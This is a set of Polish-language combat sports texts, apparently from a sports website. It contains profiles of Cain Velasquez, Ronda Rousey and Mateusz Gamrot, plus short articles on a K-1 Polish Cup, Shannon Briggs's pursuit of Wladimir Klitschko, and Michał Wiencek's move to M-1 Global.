Amerykański zapaśnik i zawodnik MMA urodzony 28 lipca 1982 roku w Salinas. Cain jest synem nielegalnego Meksykańskiego imigranta i Amerykanki meksykańskiego pochodzenia. W szkole średniej trenował zapasy z sukcesami. Amatorską karierę zapaśniczą kontynuował na studiach, reprezentując Arizona State University. W październiku 2006 roku zanotował debiut w MMA walcząc dla Strikeforce. W 2008 roku podpisał kontrakt z UFC. Po wygraniu w tej organizacji pięciu walk z rzędu, został wyznaczony do walki z Antonio Rodrigo Nogueirą. Pokonał do 20 lutego 2010 roku przez nokaut w pierwszej rundzie. Dzięki tej wygranej otrzymał szanse walki o pas mistrzowski UFC wagi ciężkiej.  Do tego pojedynku doszło 23 października 2010 roku podczas gali UFC 121. Cain wygrał pojedynek przez TKO w pierwszej rundzie. W pierwszej obronie tytułu jego rywalem miał być Junior Dos Santos. Do walki jednak nie doszło z powodu kontuzji barku Caina, która wymagała operacji. Ostatecznie pojedynek między Velasquezem a Santosem odbył się 12 listopada 2011 roku. Amerykanin został znokautowany w pierwszej rundzie i stracił tytuł. 29 grudnia 2012 roku stoczył rewanżowy pojedynek z Juniorem Dos Santosem. W tym pojedynku Cain zdominował swojego rywala w każdej płaszczyźnie walki i wygrał jednogłośną decyzją sędziów. Tym samym odzyskał tytuł mistrza UFC wagi ciężkiej. W pierwszej obronie odzyskanego pasa pokonał Antonio Silvę przez TKO w pierwszej rundzie. Po czasie ogłoszono trzecie starcie Velasqueza z Santosem. Do tego starcia doszło 19 października 2013 roku. W tym pojedynku lepszy okozał się ponownie Cain, który jak w drugim starciu zdominował rywala. Tym razem pokonując go przez TKO w piątej rundzie. 13 czerwca 2015 roku Cain przegrał walkę o tytuł wagi ciężkiej z Fabricio Werdumem. 

Osiągnięcia:

Mieszane sztuki walki:

od 2012: Mistrz UFC w wadze ciężkiej (do 120 kg)

2010-2011: Mistrz UFC w wadze ciężkiej

Zapasy:

2006: NCAA Division I − 4. miejsce w wadze ciężkiej (285 lbs)

2005: NCAA Division I − 5. miejsce w wadze ciężkiej

2002: Mistrz USA NJCAA w wadze ciężkiej

2001: Mistrz Arizony w wadze ciężkiej

2000: Mistrz Arizony w wadze ciężkiej

Ronda Rousey

Amerykańska judoczka oraz zawodniczka MMA urodzona 1 lutego 1987 roku w Hrabstwie Riverside. Ronda jest pierwszą i aktualną mistrzynią UFC w kategorii do 61kg.  Do jej największych sukcesów jako judoczki należy wicemistrzostwo świata wywalczone w 2007 roku oraz brązowy medal Igrzysk Olimpijskich w Pekinie w 2008 roku. W 2010 roku postanowiła zadebiutować w MMA. Po trzech wygranych amatorskich walkach, na początku 2011 roku przeszła na zawodowstwo. Dwie pierwsze walki wygrała w bardzo szybkim tempie, dzięki czemu podpisała kontrakt z organizacją Strikeforce. Ronda zadebiutowała tam w sierpniu 2011 roku poddając w 25 sekund Sarę D’Alielio, a w listopadzie w 39 sekund Julię Budd. 3 marca 2012 roku Rousey zmierzyła się w walce o pas mistrzowski z Mieshą Tate, którą również pokonała przez poddanie. Pierwszy raz swojego pasa broniła 18 sierpnia 2012 roku przeciwko Kanadyjce Sarze Kaufman, którą również poddała. Kolejnym krokiem w karierze Rondy było podpisanie kontraktu z UFC. Została tym samym pierwszą kobietą w historii, która została mistrzynią tej federacji.  Ronda pierwszy raz broniła swój tytuł podczas gali UFC 157, gdzie pokonała Liz Carmouche.  Ronda była trenerką w 18 edycji reality show The Ultimate Fighter, gdzie trenowała jedną z ekip, drugą ekipe trenowała Miesha Tate. Do rewanżu między Rousey a Tate doszło na UFC 168 gdzie wygrała Ronda przez poddanie w trzeciej rundzie. W kolejnych pojedynkach Rousey wygrywała z takimi rywalkami jak: Sara McMann, Alexis Davis i Cat Zingano. Każde z tych starć kończyło się w pierwszej rundzie. 14 listopada Ronda straciła tytuł mistrzowski na rzecz Holly Holm, która znokautowała Rondę w drugiej rundzie. 

Mateusz Gamrot

Polski zapaśnik i zawodnik MMA urodzony 11 grudnia 1990 roku. W 2012 roku zdobył złoto na mistrzostwach Europy w amatorskim MMA. Rok później obronił tytuł mistrzowski w kategorii do 70kg. Dwa razy z rzędu zdobywał złoty medal na Mistrzostwach Polski w Brazylijskim Jiu-Jitsu w kategorii purpurowych pasów. W 2014 roku wygrał Mistrzostwa Europy ADCC w kategorii do 77kg. W zawodowym MMA zadebiutował wygraną walką podczas gali XFS – Night of Champions w 2012 roku.  Jego rywalem był Arbim Szamajew. Do końca roku Mateusz stoczył dla tej federacji jeszcze dwa wygrane pojedynki, po czym związał się z KSW. 8 czerwca 2013 roku stoczył swój pierwszy pojedynek dla KSW. Jego rywalem był Mateusz Zawadzki, którego pokonał przez TKO. 28 września na gali KSW 23 pokonał byłego zawodnika UFC Brytyjczyka Andre Winnera na punkty. 13 września 2014 roku stoczył pojedynek dla Brytyjskiej organizacji Cage Warriors. Rywalem Mateusza był Tim Newman. Polak wygrał pojedynek w pierwszej rundzie. 21 lutego 2015 roku na gali KSW 30 Mateusz wygrał z Brazylijczykiem Rodrigo Cavalheiro przez TKO.

Amatorskie mieszane sztuki walki:

2011: Otwarte Mistrzostwa Polski w MMA – 1 miejsce w kat. -73 kg (Teresin)

2012: Mistrzostwa Europy w MMA (FILA) – 1 miejsce w kat. -71 kg (Bruksela)

2013: Mistrzostwa Europy w MMA (FILA) – 1 miejsce w kat. -70 kg (Budapeszt)

Grappling:

3-krotny Mistrz Polski w zapasach

2012: II Mistrzostwa Polski No-Gi – 1 miejsce w kat. 74 kg niebieskie pasy (Luboń)

2013: Mistrzostwa Europy w grapplingu FILA – 1 miejsce no-gi

2013: Mistrzostwa Polski w grapplingu – 1 miejsce w kat. 77 kg (Poznań)

2013: III Mistrzostwa Polski No-Gi – 1 miejsce w kat. purpurowych pasów (Luboń)

2014: IV Mistrzostwa Polski No-Gi – 1 miejsce w kat. purpurowych pasów (Luboń)

2014: Mistrzostwa Europy ADCC – 1 miejsce w kat. 77 kg (Sofia)

Palestra zdobyła Ożarów

Z tym, że warszawski klub potrafi szlifować diamenty trudno dyskutować. Reprezentanci Palestry zaprezentowali się z dobrej strony podczas Pucharu Polski seniorów w K-1.

Zawody odbyły się w dniach 28-29 marca w podwarszawskim Ożarowie Mazowieckim. Warto nadmienić, że oprócz Pucharu Polski seniorów odbyły się również mistrzostwa Polski juniorów w formule low-kick. Rywalizacja wśród seniorek ograniczyła się do pięciu kategorii wagowych i była skąpo obsadzona. Wśród panów liczba uczestników była znacząco wyższa. Jedynie w kategoriach 91 kg i +91 kg ilość zawodników nie mogła satysfakcjonować. Patrząc na rywalizację juniorów wyraźnie widać, że była bogato obsadzona. Jedynie wśród juniorek młodszych można mieć wątpliwości – pięć kategorii oraz niewielka ilość startujących.

Palestra Warszawa została uznana najlepszym klubem Pucharu Polski w K-1, gdyż aż trzech zawodników klubu ze stolicy sięgnęło po złote medale. Michał Bławdziewicz okazał się najlepszy w kategorii +91 kg, Adam Molędys triumfował w 75 kg, a Paweł Stępniewski w 60 kg. Z dobrej strony pokazali się fighterzy z Nowotarskiego Klubu Sportów Walki -Hoły Team, którzy zdobyli siedem medali, w tym jeden złoty. W rywalizacji kobiet na czoło wysunęły się zawodniczki GKS-u Champion Gdańsk. Kamila Bałanda triumfowała w kategorii 65 kg, z kolei Kamila Berek okazała się najlepsza w 70 kg. Kolejny dobry występ zaliczył Dawid Kasperski. Zawodnik Punchera Wrocław triumfował w kategorii 86 kg wygrywając z Szymonem Skrabuchem. Kasperski ugruntował tym samym swoją pozycję na polskiej scenie kickboxingu. Fighter z Wrocławia imponuje kolejnymi zdobyczami na krajowym jak i międzynarodowym polu. Mateusz Dąbrowski zwyciężył w kategorii 67 kg, jednocześnie zawodnik TKKF Olimp Legnica okazał się najlepszym zawodnikiem Pucharu Polski w  K-1.  Arkadiusz Kaszuba z Rzeszowskiego Klubu Sportów Walki wygrał w 81 kg, a Grzegorz Mardyła triumfował w 71 kg. Obie kategorie były silnie obsadzone. Warto również wspomnieć o tytule dla najlepszej zawodniczki turnieju. Zaszczyt ten przypadł Kamili Bałandzie, która zwyciężyła w kategorii 65 kg.

W rywalizacji juniorów walka toczyła się o wysoką stawkę. Mistrzostwa Polski juniorów w low-kick były oficjalną eliminacją na sierpniowe mistrzostwa Europy w San Sebastian. Dobrą pracę w Ożarowie Mazowieckim wykonali zawodnicy HALNY Nowy Sącz zdobywając siedem medali, w tym dwa złote. Wśród juniorów młodszych wyróżniono Tomasza Brotonia z FIGHT HOUSE 27, który triumfował w kategorii 67 kg oraz Sylwię Bancer z UKS Diament Pstrągowa,  zwyciężczynię 60 kg. Z kolei w rywalizacji juniorów starszych tytuły najlepszy przyznano Mariuszowi Lachowi (Legion Głogów, 57 kg) i Anna Płusa (UKS Relaks Skarżysko Kamienna, 60 kg).

Ożarów Mazowiecki po raz kolejny stał się areną zmagań o najwyższe tytuły w kickboxingu. W tej podwarszawskiej miejscowości nad rozwojem zawodników czuwa Gerard Zdziarski, który prowadzi Ożarowską Szkołę Kickboxingu.

KM

Inwestycja Briggsa

Shannon Briggs bez wątpienia jest jednym z ciekawszych pięściarzy wagi ciężkiej. Doświadczony bokser ma za sobą bogatą karierę. Ma? On nadal chce walczyć!

43-letni Briggs jest typem pięściarza, który robi wokół siebie zamieszanie. Amerykanin powziął sobie za cel walkę z Władimirem Kliczko. W kwietniu 2014 roku Briggs wrócił na ringu po prawie czteroletniej przerwie. Można powiedzieć, że doświadczony pięściarz miał wejście smoka. Już w pierwszej rundzie odprawił Maurenzo Smitha. Od tamtej pory stoczył siedem pojedynków i wszystkie wygrał. Tylko jeden kończył się werdyktem sędziowskim – z Raphaelem Zumbano Love. Ostatnią walkę Briggs stoczył 27 marca, kiedy to w Panamie rozprawił się z Węgrem Zoltanem Petranyim.

Imponujące – Briggs wraca po prawie czterech latach i wygrywa. Przy okazji robi wielkie show i głośno mówi, że chce walki z Władimirem Kliczko. Zaraz, spokojnie. Ukrainiec ma inne plany, a poza tym oprócz Briggsa są inni chętni. Pod koniec kwietnia w Madison Square Garden Kliczko zmierzy się z niepokonanym dotąd Bryantem Jenningsem. Stanąć w ringu z Ukraińcem chcieliby również Tyson Fury oraz Deontay Wilder. Gdzie jest miejsce dla Briggsa? Z pewnością nie jest traktowany przez obóz Ukraińca obojętnie, gdyż był wymieniany w gronie kandydatów do starcia z czempionem, jednak raczej jako opcja rezerwowa. 43-letni Briggs może zrobić show, ale prochu raczej nie wymyśli i na zapowiedziach o nowym mistrzu się skończy. Amerykanin pojawił się rok temu na konferencji prasowej przed walką Kliczko – Leapai i wyzwał czempiona z Ukrainy do walki.

Briggs ma cel – jasno określony i sprecyzowany. Chce walki z Kliczko. Czy to mu wystarczy? Bo czy stać go na cokolwiek więcej? Z czego wynikają te zapędy Briggsa? Po czterech latach wrócił na ring, a rękawice odwiesił po przegranej z panem Kliczko, tylko Witalijem. Briggs stanął w ringu ze starszym z braci w październiku 2010 roku i jednogłośnie przegrał na punkty. Marzenia o mistrzostwie prysły jak bańka mydlana. Briggs kilkukrotnie dostąpił zaszczytu walki o najwyższe zaszczyty. W swojej karierze mierzył się również z wielkim mistrzem Lennoxem Lewisem, jednak nie podołał i w piątej rundzie uznał wyższość rywala. Co ciekawe, Briggs ma na swoim koncie zwycięstwo nad legendarnym Georgem Foremanem. W 2006 roku Amerykanin wywalczył tytuł mistrza świata WBO, jednak już w pierwszej obronie pasa przegrał z Sułtanem Ibragimowem. Chwila sławy, prestiżu i sukcesu sprawiła, że Briggs chce jeszcze raz poczuć smak triumfu. Czy będzie miał jeszcze ku temu okazję?

Zatrzymał się na Witaliju, a być może okaże się, że przygoda Briggsa z boksem definitywnie zakończy się na Władimirze. Kwestia  podstawowa – czy Kliczko w swoim rozkładzie jazdy znajdzie dla Amerykanina miejsce? Ten z kolei podkreśla, że czeka na rywalizację z Ukraińcem. – Chcę walczyć z Kliczko. Zainwestowałem sporo czasu, aby ten pojedynek miał miejsce – powiedział Briggs. W tle zaś pobrzmiewa głos Guillermo Jonesa, który chce wrócić na ring i od razu do kategorii ciężkiej. Panamczyk ma na celu właśnie Briggs. Amerykanin otwarcie przyznaje – najpierw Kliczko.

KM

Po marzenia na wschód

Zawodnicy z krajów postsowieckich prezentują wysoki poziom w sztukach walki. Wyróżnia ich waleczność, chart ducha i zawziętość. Jedną z najmocniejszych organizacji mieszanych sztuk walki jest rosyjska M-1 Global. Tam przystań znalazł jeden z polskich fighterów.

Michał Wiencek będzie rozwijał swój warsztat pod banderą M-1 Global. Polak podpisał kontrakt z rosyjską organizacją, co bez wątpienia jest krokiem w przód w jego karierze. 22-latek ma szansę na rywalizację z mocnymi przeciwnikami i rozwój umiejętności. Wiencek, który walczy w wadze półśredniej na co dzień trenuje w klubie Berserkers Team Bielsko-Biała. Polak w ubiegłym roku stoczył trzy walki, z czego dwie przegrał. Wiencek na punkty wygrał jedynie z Michałem Golasińskim podczas Pro MMA Challenge – Just Fight! 22-latek poległ w pojedynkach z Albertem Odzimkowskim oraz Mohammedem Abdallahem. Teraz zadaniem Wiencka jest poprawienie  własnego bilansu i wejście na wyższy poziom rozwoju.

A gwarantują to walki dla M-1 Global. Pierwszy pojedynek 22-letni zawodnik z Bielsko –Białej stoczy 10 kwietnia. Jego rywalem będzie Rustam Gadzhiev, który ma już za sobą występ dla M-1. 28-latek w październiku decyzją sędziów pokonał Ingiskhana Ozdoeva. Gadzhiev ma taki sam bilans walk jak polski fighter (4-2), więc 10 kwietnia staną naprzeciw siebie rywale o bardzo podobnym doświadczeniu. Można powiedzieć, że dla Wiencka występ na gali M-1 Challenge 56 jest swego rodzaju wyjściem awaryjnym. Początkowo polski zawodnik miał walczyć 28 marca na Słowacji. Powodem zmiany planów przez Wiencka była kontuzja przeciwnika. Polak na gali Noc Bojov 5 miał walczyć z Pavlem Liahem, jednak ten musiał wycofać się z walki, a obóz zawodnika z Bielska nie chciał zgodzić się na zastępstwo w postaci Mikhaila Demidy. W tej sytuacji Wiencek skorzystał z propozycji organizacji M-1 Global i podpisał umowę z rosyjskim gigantem.

10 kwietnia 22-latek zadebiutuje w nowych barwach podczas gali M-1 Challenge 56 w Moskwie. Pierwszym wyzwaniem dla Polaka będzie Rustam Gadzhiev. Czy Wiencek rozpocznie nowy rozdział w swojej karierze? Wobec mnogości pojawiających się organizacji wybór Polaka jest jak najbardziej trafny. Otrzymał propozycję od solidnej i renomowanej firmy, w której może okrzepnąć oraz nabrać doświadczenia. Z pewnością w Rosji będzie miał okazję do starć z twardymi rywalami. To doświadczenie może okazać się cenne w dalszej perspektywie, kiedy zawodnik postanowi wrócić do Polski bądź rozwijać się w Stanach Zjednoczonych. Historia pokazuje, że M-1 Global to dobra szkoła. Szlify zbierał tam m.in. Rafał Moks. Z drugiej strony dla Wiencka będzie to czas weryfikacji i udowodnienia, czy jest na tyle silny, aby rywalizować z zawodnikami z krajów postsowieckich. 10 kwietnia pierwszy akord w wykonaniu 22-latka.

KM